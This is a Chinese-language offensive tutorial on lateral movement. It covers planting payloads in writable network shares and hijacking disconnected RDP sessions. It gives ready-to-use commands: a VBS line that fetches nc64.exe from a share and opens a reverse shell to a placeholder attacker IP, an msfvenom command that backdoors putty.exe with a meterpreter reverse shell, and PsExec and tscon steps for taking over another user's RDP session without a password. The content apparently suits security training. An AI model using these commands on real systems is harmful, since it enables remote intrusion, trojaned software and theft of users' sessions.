滥用可写程序
在目标环境中,用户可能会进行一些网络共享,并且这种共享由于某种原因可写,那么我们就可一植入特定的文件,以强制用户执行任何恶意有效负载进行访问。
我们可以将恶意文件上传到目标并进行操作,并让用户执行我们的 Payload
VBS 脚本
如果共享资源是一个 VBS 脚本,那么我们可以将 nc64.exe 的副本放在同一个共享上,并在共享脚本中注入以下代码:
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True
exe 文件
如果共享文件为 putty.exe , 那么我们可以从共享中下载并使用 msfvenom 注入后门
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe
RDP 劫持
当管理员使用远程桌面连接到计算机并关闭 RDP 客户端而不是注销时,他的会话将在服务器上无限期地保持打开状态。如果您在 Windows Server 2016 及更早版本上具有 SYSTEM 权限,则可以接管任何现有的 RDP 会话,而无需密码。 如果我们具有管理员级别的访问权限,则可以通过我们喜欢的任何方法获取SYSTEM。现在,我们将使用 psexec 来执行此操作。首先,让我们以管理员身份运行一个cmd.exe:然后运行:
PsExec64.exe -s cmd.exe
我们也可以列出现有服务器会话:
C:\> query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>administrator rdp-tcp#6 2 Active . 4/1/2022 4:09 AM
luke 3 Disc . 4/6/2022 6:51 AM
根据上面的命令输出,如果我们目前是用管理员用户通过RDP连接,我们的SESSIONNAME将是rdp-tcp#6。我们还可以看到,一个名为luke的用户留下了一个id为3的会话。任何具有Disc状态的会话都是由用户留下的,目前还没有被使用。虽然你也可以接管正在进行的会话,但当你这样做时,合法用户将被迫离开他的会话,这可能被他们注意到。
要连接到一个会话,我们将使用 tscon.exe 并指定我们要接管的会话 ID,以及我们当前的 SESSIONNAME。按照前面的例子,如果我们以管理员的身份连接卢克的会话,我们将使用以下命令。
tscon 3 /dest:rdp-tcp#6
简单地说,该命令指出,由luke拥有的图形会话3,应该与管理员用户拥有的RDP会话rdp-tcp#6连接。